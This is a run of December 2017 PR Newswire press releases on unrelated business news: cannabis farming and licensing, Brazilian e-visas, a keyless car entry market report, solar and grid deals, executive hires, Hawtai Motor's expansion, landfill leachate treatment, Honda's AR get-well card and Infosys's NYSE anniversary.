Future Farm Technologies Inc. is a Canadian company with projects throughout North America including California, Florida and Maryland. The Company's business model includes developing and acquiring technologies that will position it as a leader in the evolution of Controlled Environment Agriculture (CEA) for the global production of various types of plants, with a focus on cannabis. Future Farm provides scalable, indoor CEA systems that utilize minimal land, water and energy regardless of climate, location or time of year and are customized to grow an abundance of crops close to consumers, therefore minimizing food miles and its impact to the environment. The Company holds an exclusive, worldwide license to use a patented vertical farming technology that, when compared to traditional plant production methods, generates yields up to 10 times greater per square foot of land. The contained system provides many other benefits including 90% less water, fertilizer and land used, less travel costs, seed to sale security, scalability, consistency due to year-round production, cost control, product safety and purity by eliminating environmental variability. The Company also utilizes a leading cannabis oil extraction technology, which enables the Company to process 20lbs/hour of cannabis plant to yield approximately 908 grams/hour of oil.

The Company is also in the business of designing and distributing LED lighting solutions utilizing the COB and MCOB technology. The Company is focused on delivering cost efficient lighting to North America via advanced e-commerce sites the Company owns and operates. LEDCanada.com, which caters to B2B customers, is a supplier of the newest and highest demand LED solutions. The Company also owns and operates COBGrowlights.com, which caters to both large and small agriculture green houses and controlled cultivation centers.

The Company recently acquired the exclusive right to use a patented, augmented reality (AR) technology in the cannabis industry. As described in more detail above, the Company has decided to spin this asset off to its shareholders.

Neither the Canadian Securities Exchange nor its Market Regulator (as that term is defined in the policies of the Canadian Securities Exchange) accepts responsibility for the adequacy or accuracy of this release. The Canadian Securities Exchange has not in any way passed upon the merits of the proposed transaction and has neither approved nor disapproved the contents of this press release.

This news release may include forward-looking statements that are subject to risks and uncertainties. All statements within, other than statements of historical fact, are to be considered forward looking. Although the Company believes the expectations expressed in such forward-looking statements are based on reasonable assumptions, such statements are not guarantees of future performance and actual results or developments may differ materially from those in forward-looking statements. Factors that could cause actual results to differ materially from those in forward-looking statements include market prices, exploitation and exploration successes, continued availability of capital and financing, and general economic, market or business conditions. There can be no assurances that such statements will prove accurate and, therefore, readers are advised to rely on their own evaluation of such uncertainties. We do not assume any obligation to update any forward-looking statements except as required under the applicable laws.

For further information, contact:

William Gildea

Director

+617-834-9467







SOURCE Future Farm Technologies Inc.
SEATTLE, Dec. 19, 2017 /PRNewswire/ -- Thanks to a new electronic visa system, Brazil is becoming much easier to visit for North Americans. Southern Explorations, an adventure tour company with tours all over South America, is expecting a rush of bookings for Brazil starting in the new year. Beginning in January 2018, tourists from the United States and Canada will no longer have to wade through the complicated bureaucracy and paperwork to visit South America's largest country.

Brazil has already started to roll out an electronic visa program that eliminates the need for visitors to physically visit a visa center in their own country to apply for and receive a tourist visa to travel to Brazil. Tourists and business visitors alike can apply for the new visas once they're available in their country of residence.

The new visas will be electronically issued within 72 hours of receipt of a correctly completed application. Marx Beltrao, Brazil's tourism minister, predicts the new visa program will increase tourism to Brazil by up to 25 percent.

Canadians will be able to use the new e-visa program starting January 8, 2018; U.S. citizens can start using the program January 15. Residents from other countries, including Qatar and the United Arab Emirates, can expect to have visa requirements eliminated completely as the result of negotiations with Brazil. Travelers from other countries should check their specific visa requirements before booking their trip.

Brazil is home to a number of natural and man-made wonders that the new visa process will make easier to see, including:

The largest Carnival celebration in the world, which includes a world-renowned Samba competition and a visit to Christ the Redeemer, named one of the 7 Wonders of the World.

https://www.southernexplorations.com/brazil/brazilian-carnival-2018

https://www.southernexplorations.com/brazil/brazilian-carnival-2018 The Amazon River and rainforest, home to a range of wildlife and rare plant life  including pink river dolphins  that are often only viewable by boat. https://www.southernexplorations.com/amazon/brazil-amazon-cruise

Chapada Diamantina, a national park filled with breathtaking canyons, mesas, waterfalls and grottoes.

https://www.southernexplorations.com/brazil/bahia-rhythms-canyons-beaches

The visa process has hindered many visitors from visiting Brazil in the past; tourism specialists expect the new e-file system to open the floodgates for travelers over the world to visit this culturally rich and ecologically diverse country.

To explore Brazil with its many diverse eco-systems and rich cultural traditions through Southern Explorations, go to https://www.southernexplorations.com/brazil-travel.

Contact:

Eric Bartanen

[email protected]

SOURCE Southern Explorations

Related Links

http://www.southernexplorations.com


DUBLIN, Dec. 19, 2017 /PRNewswire/ --

The "Global Automotive Keyless Entry System Market 2017-2021" report has been added to Research and Markets' offering.

The global automotive keyless entry system market to grow at a CAGR of 7.56% during the period 2017-2021.



The report covers the present scenario and the growth prospects of the global automotive keyless entry system market for 2017-2021. To calculate the market size, the report considers the global unit sales of vehicles (passenger cars and commercial vehicles) installed with keyless entry system as well as aftermarket sales of keyless entry systems. An automotive keyless entry system consists of two types of technologies: RKE system, whose functionality is entry into the vehicle, and PKE system, which operates as an entry-and-go functionality.



One trend in the market is virtual key entry system. Research says that almost 68% of US adults used smartphones in 2016, which was 35% in 2011 and this number is expected to grow in the future. Moreover, there were about 210 million of connected car on roads in 2016, and this number is expected to double by 2021. With the era of the Internet of things, devices are getting connected. According to experts, there will be around 50 billion connected objects by 2020.



According to the report, one driver in the market is increase of sales of automobiles in developing economies. The demand for keyless entry system is dependent on the sales of the vehicles. OEMs, such as Toyota, are planning to increase their production capacity. As a result, the firm has planned to relocate its auto production unit to Mexico by 2019 to meet the growing demand for SUVs and crossovers in the US and Canada. The new plant will also manufacture its flagship model, namely, Corolla. In 2016, General Motors launched SUVs, crossovers, and sedans in the US to capture the market. For the past few years, China has become the largest automotive market in the world. In 2016, the passenger cars market in China recorded a growth of about 4% with SUVs and crossovers contributing the most.



Further, the report states that one challenge in the market is risk associated with keyless entry systems. Keyless entry systems are a concern for vehicle security, as they use radiofrequency or microwave to be exchanged between the fob and the receiver unit in the vehicle, which is prone to hacking. Thus, although the system is convenient to use, it is riskier than the traditional key. Keyless entry systems have been perceived as secure and convenient, but the system is susceptible to various loopholes that can be misused. The system is a communication between the key fob and the vehicle, which is carried though radio frequency and can be easily hacked. At the DEF CON hacking convention held in Las Vegas in August 2015, ethical hackers discussed numerous techniques that could be used to hack into a vehicle that is equipped with either RKE or PKE systems.



Key vendors

ZF Friedrichshafen

Continental

Delphi

Valeo

HELLA

Other prominent vendors

Alps Electric

DENSO

HYUNDAI MOBIS

Marquardt

Mitsubishi Electric

Lear Corporation

OMRON Corporation

Advanced Keys



Key Topics Covered:



PART 01: Executive summary



PART 02: Scope of the report



PART 03: Research Methodology



PART 04: Introduction

Automotive keyless an overview:

Product lifecycle: Vehicle entry system

Regulatory impact

Automotive keyless entry system design technology

Value chain

PART 05: Market landscape

Market overview

Market size and forecast

Five forces analysis

PART 06: Market segmentation by product

Global automotive keyless entry system market by product type

Global automotive keyless entry systems market by RKE

Global automotive keyless entry systems market by PKE

PART 07: Geographical segmentation

Global automotive keyless entry system market by geography

Global automotive keyless entry system market in Americas

Global automotive keyless entry system market in EMEA

Global automotive keyless entry system market in APAC

PART 08: Decision framework



PART 09: Drivers and challenges

Market drivers

Market challenges

PART 10: Market trends

Virtual key entry system

Immobilizer increasing effectiveness of keyless entry system

Introduction of 3D gesture in key fob

PART 11: Vendor landscape

Competitive scenario

Other prominent vendors

PART 12: Key vendor analysis

ZF Friedrichshafen

Continental

Delphi

Valeo

HELLA

PART 13: Appendix



For more information about this report visit https://www.researchandmarkets.com/research/66jzss/global_automotive?w=5



Media Contact:

Research and Markets

Laura Wood, Senior Manager

[email protected]



For E.S.T Office Hours Call +1-917-300-0470

For U.S./CAN Toll Free Call +1-800-526-8630

For GMT Office Hours Call +353-1-416-8900



U.S. Fax: 646-607-1907

Fax (outside U.S.): +353-1-481-1716

SOURCE Research and Markets

Related Links

http://www.researchandmarkets.com


NEW YORK and WASHINGTON, Dec. 19, 2017 /PRNewswire/ -- Tikun Olam, the world's leading cannabis brand and pioneer in cannabis research, continues its U.S. expansion by partnering with Washington DC cultivator Alternative Solutions. The just-inked licensing deal allows Alternative Solutions to grow, manufacture and distribute Tikun-branded products to all five District of Columbia dispensaries.

Tikun Olam's award-winning premium cannabis products are backed by years of peer-reviewed scientific research and unprecedented clinical data collection, which has shown to deliver symptomatic relief to those suffering from specific conditions such as cancer, PTSD, epilepsy, Crohn's Disease/Colitis, chronic pain and neuropathy, to name a few. At the 2017 Canadian Cannabis Awards held November 30 in Toronto, Tikun strains took First place in three categories: Top High THC Flower (Eran Almog), Top High CBD Flower (Avidekel), and Top High CDB Oil (Avidekel), in addition to placing Second in Top Hybrid Flower (Midnight). Tikun's full line of proprietary strain products--from flower, vape, topicals and tinctures--will be available in Washington DC beginning in 2018.

"Alternative Solutions is thrilled to be Tikun Olam's exclusive partner in DC," says Matt Lawson-Baker, COO of Alternative Solutions. "We look forward to making Tikun's products available at all DC dispensaries, giving access to these clinically proven strains to the more than 5,600 registered MMJ patients in Washington DC."

The new five-year deal with Alternative Solutions is the latest in a series of licensing agreements struck since Tikun's U.S. launch in 2015 in Delaware. The recent announcement with the MariMed cannabis network will introduce Tikun's exclusive strains and products in medical marijuana dispensaries in Rhode Island, Maryland, Massachusetts and Illinois in 2018. Tikun products also launched in Nevada in March 2017 and in Washington State in November.

"Tikun Olam is delighted with our partnership with Alternative Solutions," says Tikun CEO Bernard Sucher. "Its cultivation and manufacturing operations will make it possible for Tikun to serve every single patient in a single jurisdiction--a first for us and something we hope to accomplish within every U.S. state. "

About Tikun Olam

Tikun Olam ("repair the world" in Hebrew) is the world's leading cannabis brand and globally recognized as the pioneer of modern medical cannabis. Operating as a commercial venture for over 10 years, Tikun Olam's products have been used since 2010 in ongoing clinical trials in Israel's regulated medical cannabis market, treating over 10,000 patients for a variety of symptoms of medical conditions such as Cancer, PTSD, AIDS, epilepsy, Crohn's Disease/Colitis, multiple sclerosis, cerebral palsy, chronic pain and neuropathy. Through this access to patients, medical personnel and data collection, Tikun Olam has developed multiple proprietary strains, including the first-ever, high-CBD, "high-less" strain Avidekel, its popular high-THC strain Alaska, and its "one-to-one" CBD/THC strain Midnight. Tikun Olam's U.S. operations, established in 2015 as T.O. Global LLC, is a joint venture with Tikun Olam Ltd. (Israel). Tikun Olam also operates similar partnerships in Canada (TSX: LEAF), Australia, United Kingdom and South Africa, all in support of its global mission to educate the traditional medical community and its patients on the applications of cannabis as a scientifically proven wellness product. Visit www.tikunolamusa.com, and follow us on Facebook, Twitter, and Instagram.

About Alternative Solutions

Montana Apocathary d/b/a Alternative Solutions is one of eight current license holders (out of an allocated 10 licenses) for the cultivation, processing and distribution of cannabis within the District of Columbia. Alternative Solutions is licensed to distribute medical cannabis products to all licensed MMJ dispensaries within the District, which currently number five, expected to rise to seven in 2018.

CONTACTS:



Tikun Olam Holding LLC/ Tikun Chief Operating Officer Stephen Gardner Matt Lawson-Baker Chief Marketing Officer [email protected] [email protected]



Alternative Solutions

Matt Lawson-Baker



SOURCE Tikun Olam

Related Links

http://tikunolamusa.com


MIDDLETOWN, Conn., Dec. 19, 2017 /PRNewswire/ -- Greenskies Renewable Energy LLC ("Greenskies") and its affiliates, have been purchased by Clean Focus Yield Limited and its affiliates, ("Clean Focus") an integrated group of renewable-energy companies with global reach. With this acquisition Clean Focus becomes the owner and operator of the largest commercial and industrial portfolio in the United States.

Greenskies, a leading vertically-integrated solar company in the United States, will continue to operate under its brand and management from its Middletown, Connecticut headquarters. All current Greenskies employees in Middletown will remain based at company headquarters, with additional personnel growth in Connecticut and across the country to support its rapid expansion.

Clean Focus adds to its already large commercial, industrial, and small-utility portfolio with the purchase of Greenskies and its operating portfolio. This acquisition makes Clean Focus one of the largest and fastest growing commercial solar developers and operators with a national footprint. Greenskies will benefit from increased financial resources and international scale to accelerate growth and to deliver best-in-class service to its customers.

"Clean Focus is excited to add Greenskies to its integrated group of companies. This acquisition strengthens Greenskies, grows Clean Focus, and provides new opportunities for our customers and financing partners," said Stanley Chin, President and CEO of Clean Focus. "We look forward to accelerated growth across a wide breadth of markets."

Greenskies expects to expand its base of large corporate and retail clients, including Fortune 50 national big-box retailers, government entities, and utilities. Greenskies intends to build out its project pipeline of 350 MW and expand into new segments including schools, hospitals, and community solar.

The management team of Greenskies is led by Will Herchel who has been president since November 2016 and joined the company in January 2012. "This purchase and investment is the next big step for Greenskies. We have seen explosive growth over the last five years, and this infusion of capital adds jet fuel to our business engine," Herchel said. "With the support of Clean Focus, Greenskies will accelerate its growth, and it is better prepared to weather potential headwinds in the solar market."

Greenskies Renewable Energy LLC, a Clean Focus company develops, constructs, and maintains clean, renewable-energy projects in the United States. Greenskies ensures that its customized solar solutions operate at peak performance and deliver maximum savings to its clients.

www.greenskies.com

The Clean Focus group of companies originates, develops, finances, constructs, owns, and operates renewable-energy projects in the United States, Taiwan, and China. Clean Focus Yield owns and operates clean, renewable-energy projects in commercial, industrial, small-utility, and community solar. Our projects pass strict technical and credit criteria to ensure steady cash flows and attractive dividends for our investors.

www.cleanfocus.com

SOURCE Greenskies Renewable Energy

Related Links

http://www.greenskies.com


NEW YORK, Dec. 19, 2017 /PRNewswire-USNewswire/ -- Harris Insights & Analytics, a global consulting and market research firm that delivers social intelligence for transformational times, is pleased to announce new roles within the leadership team. Known for "The Harris Poll", one of the longest running surveys in the U.S. tracking public opinion, motivations and social sentiment since 1963.

Merrill Raman will be Chief Information Officer, Erica Parker has been tapped to lead the firm's Omnibus Business, and Kenesha Brown will be VP of Sample Acquisition.

Merrill joins Harris from The Hayat Group and brings extensive experience in technology strategy, market research innovation, and business transformation.

"Our analytic and reporting technologies are the key underpinnings of our data-driven consulting methodologies," said Jonathan Gardner, Chief Operating Officer at Harris. " Merrill brings a unique blend of technology and business acumen and will be instrumental in achieving our vision and strategy for the company. We are delighted to welcome him to the organization."

Prior to his role as the Chairman of Hayat Group, Raman was the VP of Technology at the market research firm Penn Schoen and Berland. With more than 15 years of experience in market research, Raman's extensive technical background, paired with his ability to empower organizations around innovation & transformation, will complement the strong talents at Harris Insights & Analytics.

Erica Parker has been selected to lead Harris On Demand, the firm's relaunched omnibus business (formerly known as QuickQuery). She brings to the role over 15 years of experience in custom market research at Penn Schoen and Berland as well as Harris Interactive and Nielsen. Under Erica's leadership, Harris On Demand will provide an affordable, timely pulse on public sentiment, while delivering the research expertise and credibility the Harris Poll is known for.

Kenesha Brown has joined Harris Insights & Analytics as Vice President of Sample Acquisition and Vendor Management, responsible for establishing and maintaining critical partner relationships.

"With the market research industry undergoing such dramatic change, we're excited to have Kenesha as part of the team to help keep us on the cutting edge of sample acquisition strategies," said Gardner.

About The Stagwell Group

The Stagwell Group LLC is a registered investment advisory company formed by Mark Penn who serves as the Managing Partner of Stagwell Media LLC, a private equity fund. The Stagwell Group portfolio includes more than a dozen collaborative, digital-first agencies. The fund previously announced it has raised $250 million in capital and may leverage that to make up to $750 million in acquisitions. Online at www.stagwellgroup.com.

About Harris Insights and Analytics/The Harris Poll

Harris Insights & Analytics, is a global consulting and market research firm that delivers social intelligence for transformational times. Known for "The Harris Poll", one of the longest running surveys in the U.S. tracking public opinion, motivations and social sentiment since 1963. We work with clients in three primary areas; building twenty-first-century corporate reputation, crafting brand strategy and performance tracking, and earning organic media through public relations research. Our mission is to provide insights and advisory to help leaders make the best decisions possible.

SOURCE Harris Insights & Analytics
SANTA CLARA, Calif., Dec. 19, 2017 /PRNewswire/ -- Varentec, Inc., a leader smart grid technology, is working with Hawaiian Electric and Elemental Excelerator to deploy 100 Edge of Network Grid Optimization (ENGO) devices and its Grid Edge Management System (GEMS) platform at three O'ahu substations with high penetrations of solar PV. The project, co-funded by Elemental Excelerator, a Hawaii-based growth accelerator, aims to minimize voltage fluctuations and allow for additional rooftop solar capacity.

This deployment is an expansion of Varentec's successful pilot project with Hawaiian Electric that started in August 2016 and includes the use of ENGO devices in a neighborhood in Kailua, O'ahu.

Varentec's ENGO devices sense and regulate the distribution voltage, while the GEMS platform offers fleet management and data analytics. The combined solution will help Hawaiian Electric minimize voltage fluctuations along the distribution grid and allow for additional rooftop solar capacity, while maintaining power quality. This new project will help validate the additional PV hosting capacity in three different neighborhoods on O'ahu: Kahuku, Waimanalo, and Manoa, and will be the first of its kind in the world to minimize voltage fluctuations at the edge of the grid as more PV hosting is added to the distribution circuits.

The Hawaiian Electric Companies service 95 percent of Hawaii's customers and, by the end of 2016, had sourced 26 percent of its power from renewable sources.

"Our first pilot project with Varentec let us test cutting-edge technology to open up capacity for rooftop solar on two PV-saturated circuits and also minimize the need for costly upgrades," said Colton Ching, Hawaiian Electric Companies senior vice president of planning and technology. "We're excited to expand our pilot into other service areas and learn more about these new technologies as we modernize our electric grid and work toward meeting our state's clean energy goals."

Hawaiian Electric and Varentec believe the unique capabilities of Varentec's system-level, dynamic-control technology can address voltage issues at a lower cost to customers than other alternatives considered.

"We are very proud that our technology is helping Hawaiian Electric in its 100% RPS objectives by 2045. Varentec's solution helps the increase of residential PV rooftop into the grid while maintaining a high standard in power quality to Hawaiian Electric customers and meeting Hawaii PUC mandates. We are very fortunate to be working with such a leader in the integration of solar PV. We are confident that the success of this project will be replicated at other utilities striving to maximize on renewable adoption within their service territories," said Guillaume Dufosse, Varentec CEO. Outside of Hawaiian Electric, Varentec has deployed its solution at over 25 distribution utilities across North America.

Hawaii's largest electric utility is testing and deploying solutions to integrate new technologies that increase the grid's capacity for intermittent renewable energy. "We work with entrepreneurs to get their technologies into the hands of the right partners," says Dawn Lippert, CEO of Elemental Excelerator. "Varentec's project with Hawaiian Electric is one example of how innovation continues to be critical to addressing some of the world's most important challenges." Elemental Excelerator is working closely with Hawaiian Electric to help source innovation, such as Varentec, that can accelerate Hawaii toward its goal of 100 percent renewable energy by 2045. In addition to Varentec, Elemental Excelerator and Hawaiian Electric are working together on nearly a dozen projects.

About Hawaiian Electric

Hawaiian Electric and its subsidiaries, Maui Electric and Hawai'i Electric Light, serve the islands of O'ahu, Maui, Lana'i, Moloka'i and Hawai'i, home to 95 percent of the population of the State of Hawai'i. Hawaiian Electric's parent company is Hawaiian Electric Industries (NYSE: HE). In a changing world, the Hawaiian Electric Companies are taking the lead in adding renewable energy and developing energy solutions for their customers to achieve a clean energy future for Hawai'i. For more information, visit www.hawaiianelectric.com.

About Elemental Excelerator

Elemental Excelerator helps startups change the world, one community at a time. Each year, we find 12-15 companies that best fit our mission and fund each company up to $1 million to improve systems that impact people's lives: energy, transportation, water, agriculture, and beyond. To date, we have awarded over $22 million to more than 60 companies. What makes us unique? We co-fund, co-design, and co-develop projects and strategies that improve infrastructure and sustainably enhance communities. Our program is funded by a diverse coalition of utility partners, corporate partners, the U.S. Navy, the U.S. Department of Energy, state government, and philanthropic organizations. For more information, please visit elementalexcelerator.com.

About Varentec

Varentec provides innovative solutions for the nascent era of distributed grid control. The Varentec ENGO devices are deployed on the secondary side of the distribution grid to control voltage and reactive power in real time and eliminate grid edge voltage volatility, even when high numbers of distributed solar or wind systems are deployed on a circuit.

ENGO devices coupled with the GEMS software platform provide a complete, stand-alone solution to Distribution Utilities. In deployments across the U.S. and Canada, Varentec's technology is consistently achieving unparalleled energy savings or peak demand reduction of 5% or more through voltage reduction while significantly reducing technical losses.

Varentec, ENGO and GEMS are trademarks of Varentec Corporation.

SOURCE Varentec

Related Links

http://www.varentec.com


BEIJING, Dec. 19, 2017 /PRNewswire/ -- Hawtai Motor, an independently owned and operated Chinese automobile brand, recently took its strategy for international growth a step further in terms of expanding beyond the home market, both by land and by sea, in a move to support the implementation of The Belt and Road ("B&R") initiative. The company is actively engaged in overseas expansion while consolidating its local presence.

Hawtai Motor is an SUV pioneer in the Chinese automobile industry. Following 17 years of development, Hawtai Motor has become a large industrial conglomerate mainly engaged in automobile manufacturing, owning core power technologies and having strong financial backing. With total assets exceeding 48 billion yuan (approx. US$7.8 billion) and 23 directly-controlled subsidiaries, the group has built businesses covering four key segments, traditional and electric vehicles, R&D and technology, finance and smart mobility, which, when taken together, form a complete industrial ecosystem.

Establishing a multi-level global presence

Hawtai Motor is one of the earliest independently owned Chinese automobile brands to establish a presence outside of the home market. The company has established what it has termed the "1+3+3" framework for R&D and innovation. The company's three overseas technology centers, the Munich Technology Center which is engaged in the transfer and applications of the world's leading technologies and is home to an automotive engineering research design center, the Product Improvement Center in Russia and Central Asia, as well as the Silicon Valley Technology Center which specializes in smart and connected vehicle research, work collaboratively with its research institutions and manufacturing facilities in China.

In terms of design research, Hawtai Motor has cooperated with top global companies including UK-based HORIBA MIRA and France-based Faurecia to improve the quality and experience of its products.

The cooperation between Hawtai Motor and MIRA has already been in place for more than a decade. With a long history spanning more than 70 years and over 60 years' of experience in testing and development projects, MIRA is the world's leader in automotive design with a focus on the car chassis as well as on noise, vibration and harshness (NVH) engineering beloved by many luxury car brands. After adopting MIRA's NVH noise reduction technology, steering system, springs, anti-rolling block and shock absorbers, Hawtai Motor-produced vehicles have far superior noise reduction, shock absorption and stability while being driven than China's other independent brands, and can even compare favorably with models from China's joint ventures.

In terms of the interior and exterior design of the vehicle body, through collaborative arrangements with leading automotive parts manufacturers such as Faurecia, Hawtai Motor has enhanced product quality by building independent product development and verification capabilities as well as implementing design processes for body in white, automobile closures and automotive accessories that are fully aligned with European design standards.

At the same time, Hawtai Motor has adopted the world's most advanced full-range passenger car diesel engine from Italy-based VM Motori S.p.A. and matched with an automatic transmission from Germany-based ZF Friedrichshafen AG. On the basis of owning the best that automotive technology can offer and a strong focus on innovation in R & D, Hawtai Motor has obtained the patents and developed the production technology for the most advanced diesel-powered and gasoline-powered passenger car engines, becoming the only large Chinese automobile power assembly production firm that can claim ownership of these two core technologies.



Creating a new model for entering international markets

In 2018, Hawtai Motor will celebrate its 18th anniversary. Company chairman Zhang Hongliang has put forward its development plan and strategic target for the next three years. Hawtai Motor plans to achieve sales of 200,000 units during 2018, then raise the bar with both production and sales of 500,000 units by 2020, with its complete vehicles, automotive products, engines and gearboxes widely exported to more than 30 countries and regions.

Hawtai Motor is expanding beyond its home market of China while focusing on independent research and development of both traditional and electric cars in the domestic market.

The Chinese automaker has established a manufacturing portfolio across the countries targeted by B&R. The portfolio includes Completely Knocked Down (CKD) assembly plants in Russia and Semi-Knocked Down (SKD) assembly facilities in Angola as well as Knocked Down (KD) arrangements in Brazil, India, Mexico, Thailand, Iran, Vietnam, the Philippines, Egypt, Nigeria, Kenya, South Africa and Columbia. Complete vehicles are currently being shipped to Australia, Peru, Chile, North Korea and Ethiopia.

Notably, Hawtai Motor participated in the fourth CICA Summit held in Shanghai in 2014 as the only Chinese homegrown automaker to be invited to the event. In the presence of Chinese President Xi Jinping and Russian President Vladimir Putin, the Chinese automaker signed a US$1.1 billion cooperation agreement with Russia's Derways to supply KD parts for 80,000 complete vehicles to the Russian company. In addition, Hawtai Motor attended the International Organization for South-South Cooperation (IOSSC)'s third High-Level Forum on South-South Cooperation in 2014 as the only automaker to be invited. During the forum, the Chinese automaker received recognition from the IOSSC by virtue of its global strategy that focused on exporting technologies that help developing countries lay a solid foundation for the development of their own automobile industries.

The measures that had been taken by Hawtai Motor in response to the B&R initiative have further promoted the automaker's new strategy as we enter the new era in terms of technological developments. It is a strategy that is dominated by the carmaker's core technologies in the Chinese domestic market and driven by its sales businesses in overseas markets. The automaker also plans to further expand into world markets with the aim of building a Chinese car brand with international competitiveness.

SOURCE Hawtai Motor
HUDSON, Mass. and TUPELO, Miss., Dec. 19, 2017 /PRNewswire/ -- Heartland Water Technology, Inc. today announced that it has signed a contract with the Three Rivers Solid Waste Management Authority to install a Heartland Concentrator at the Three Rivers Regional Landfill near Pontotoc, MS to treat landfill leachate. Heartland develops innovative technology to solve some of the world's most challenging waste water problems.

A recent report from UNESCO predicts that wastewater volume will double in volume by the year 2025 (UN Water, 2017). "This increase will place a strain on existing infrastructure and systems," said Heartland CEO Earl Jones. "Heartland is committed to providing technology to efficiently and cost-effectively treat wastewater streams around the world. Our project with Three Rivers is an example of this type of technology."

After extensive evaluation, Three Rivers selected the Heartland Concentrator technology for its ability to use waste heat emitted from turbines and engines in a classic cogeneration (combined-heat and power) configuration. At Three Rivers, Heartland will capture and use the thermal energy from Three River's existing Landfill Gas-to-Energy plant, which provides both significant economic value and a strongly positive environmental impact.

This award comes after extensive competitive evaluations by the Three Rivers team to secure a robust, reliable and cost-effective solution for leachate management.

"Heartland's technology impressed us on several levels," said Carl Cadden, Chairman of Three Rivers Solid Waste Management Authority. "It is rugged, reliable and simple to use. Our evaluation clearly suggests that Heartland's solution will result in significant cost advantage as compared to alternative leachate solutions."

The Heartland Concentrator, supported by strong customer references and site visits by the Three Rivers team, provided the demonstrable life-cycle cost advantage the team was looking for.

"The Team from Three Rivers is smart, they know their business, they understand the challenges in treating leachate, and conducted a thoughtful and comprehensive analysis," added Jones. "We are excited to be their solution provider and to be working with such a great team."

Heartland and Three Rivers plan for the facility to be operating in the third quarter of 2018.

About Heartland Water Technology

Heartland Water Technology, Inc. (www.heartlandtech.com) develops innovative solutions for treating the world's most challenging waste waters. Its platform technology, the Heartland Concentrator, has a proven 10-year track record of successfully treating challenging industrial wastewaters including landfill leachate, Flue Gas Desulfurization (FGD) scrubber water, Brine and Ash Ponds and O&G Produced Water and Frac water. Moreover, the Heartland Concentrator can deliver zero liquid discharge (ZLD) in a single unit operation, with unparalleled reliability, little to no pre-treatment, and at a lower life-cycle cost than traditional evaporation technologies. Heartland's Flex-heat feature enables integration turbines or reciprocating engines in a unique Combined Heat and Power application that further reduces life-time cost to treat.

Inquiries and questions about Heartland Water Technology should be sent to:

Casey Cammann, Chief Marketing Officer at [email protected].

About Three Rivers Solid Waste Management Authority

Three Rivers Solid Waste Management Authority (TRSWMA) was established in 1992 as a regional solid waste management agency to promote good environmental stewardship, fiscal responsibility, local government problem solving and regional cooperation. The Authority's mission is to supplement local government solid waste management services to promote efficient and environmentally responsible waste handling and disposal while not supplanting local control and authority. The seven-county region consists of Pontotoc, Itawamba, Lee, Monroe, Union, Lafayette and Calhoun Counties in northeast Mississippi.

Casey Cammann

Chief Marketing Officer

Heartland Water Technology, Inc.

800 759-1758 x 704

[email protected]

SOURCE Heartland Water Technology, Inc.
Honda transformed an actual CHOC hospital room into an augmented reality winter wonderland in order to bring to life crowdsourced messages from well-wishers to be viewed by young patients through an iPad, held in a custom designed holder, triggering a wintery augmented reality experience.

"Sending warm wishes to others is one of the best traditions of the holiday season and through a little Honda innovation we're using augmented reality to send messages that will brighten the lives of young patients at Children's Hospital of Orange County," said Susie Rossick, Assistant Vice President, Honda Marketing.

To enable the children at CHOC to hear from well-wishers, Honda pushed out a short holiday-themed video in September inviting fans to leave get well wishes via Facebook and Instagram. Honda received hundreds of messages with select messages ultimately loaded on the virtual card, along with personalized videos from hospital staff.

In the "Ultimate Get Well Card", children see their name personalized on the front of the card, which then magically opens to reveal the contents on paper that come to life and fill the room. As the child interacts with the card, the images float forward and flip over to reveal heartwarming content. Utilizing both text and embedded video, the intent is to surround the child with genuine and sincere holiday messages.

An online film was created from the experience, which is available on Honda's social channels (https://www.youtube.com/watch?v=nVfCiBPkaW4). For every Facebook "Like" or "Love" of the video, Honda will donate $1 each up to a total of $100,000, to both CHOC and the Pediatric Brain Tumor Foundation (PBTF), Honda's charity for more than 26 years. The Ultimate Get Well Card is a chance to bring a one-of-a-kind augmented reality holiday experience to children in need.

Honda is a longtime supporter of both CHOC, which provides high quality care to children, and the PBTF, which is the world's largest nonprofit solely dedicated to children and teens with brain tumors.

About Honda

Honda offers a full line of reliable, fuel-efficient and fun-to-drive vehicles with advanced safety technologies sold through over 1,000 independent U.S. Honda dealers. The Honda lineup includes the Fit, Civic, Accord and Clarity series passenger cars, along with the HR-V, CR-V and Pilot sport/utility vehicles, the Ridgeline pickup and the Odyssey minivan.

Honda has been producing automobiles in America for 35 years and currently operates 19 major manufacturing facilities in North America. In 2016, more than 95% of all Honda and Acura vehicles sold in the U.S. were made in North America, using domestic and globally sourced parts.

SOURCE American Honda Motor Co., Inc.

Related Links

http://www.honda.com


NEW YORK, December 18, 2017 /PRNewswire/ --

Global technology services and consulting leader to ring NYSE Opening Bell to mark the milestone

Infosys (NYSE: INFY), a global leader in consulting, technology and next-generation services, will ring the Opening Bell at the New York Stock Exchange (NYSE) on December 20, 2017 to celebrate its fifth anniversary of being listed on the exchange. To commemorate this anniversary, Mr. Pravin Rao, Interim Chief Executive Officer & Managing Director and Mr. MD Ranganath, Chief Financial Officer along with other Infosys team members, will ring the New York Stock Exchange Opening Bell.

(Logo: http://mma.prnewswire.com/media/610722/Infosys_Logo.jpg )



"We are thrilled to ring the Opening Bell at the NYSE as it's a very exciting time for our employees, customers and partners as we celebrate the fifth year of being listed on the NYSE. This occasion is especially significant for us as we strengthen our presence in the U.S. with our commitment to hire 10,000 American workers and set up Technology and Innovation hubs across the country," said Mr. Rao - Interim CEO and Managing Director.

"As a company with a large base of global shareholders, we are happy with the healthy liquidity provided by our listing on NYSE. This event is yet another key milestone in our fruitful journey of nearly two decades of listing and trading of our ADRs in the United States," said Mr. MD Ranganath - Chief Financial Officer.

"We are honored to have Infosys ring the NYSE Opening Bell," said John Tuttle, NYSE Global Head of Listings. "As one of India's leading technology companies, Infosys has been a great addition to our community of globally recognized companies, and we look forward to continuing our long-term partnership together."

For more than three decades, Infosys has helped companies in the U.S. and around the world become more competitive, faster to market and more innovative with technology. It has more than 198,000 employees servicing clients in 45 countries.

In the U.S., Infosys has announced plans to hire 10,000 American workers over the next two years, and operate four new U.S. technology centers. Through a partnership with Stanford University, Infosys has trained more than 140,000 of its employees globally, including thousands in the U.S., on design thinking, and the company is working with Udacity to train 500 employees worldwide on autonomous technologies.

Infosys is also committed to bridging the digital divide in America through the Infosys Foundation USA, which supports high-quality computer science education and coding skills with a particular focus on underrepresented communities. So far, Infosys Foundation USA has helped more than 13,000 teachers obtain computer science training through its $10 million investment in partnership grants since 2015. More than 4.7 million students across more than 21,000 schools in the U.S. have benefitted from a variety of Foundation grants and resources such as new classroom technology, teaching aids, and makerspaces.

The Opening Bell ceremony will be broadcasted via livestream at https://livestream.com/NYSE at 9:30 a.m. EST (8:00 p.m IST) on December 20. A link of the same will also be available on Infosys' Investor Relations webpage

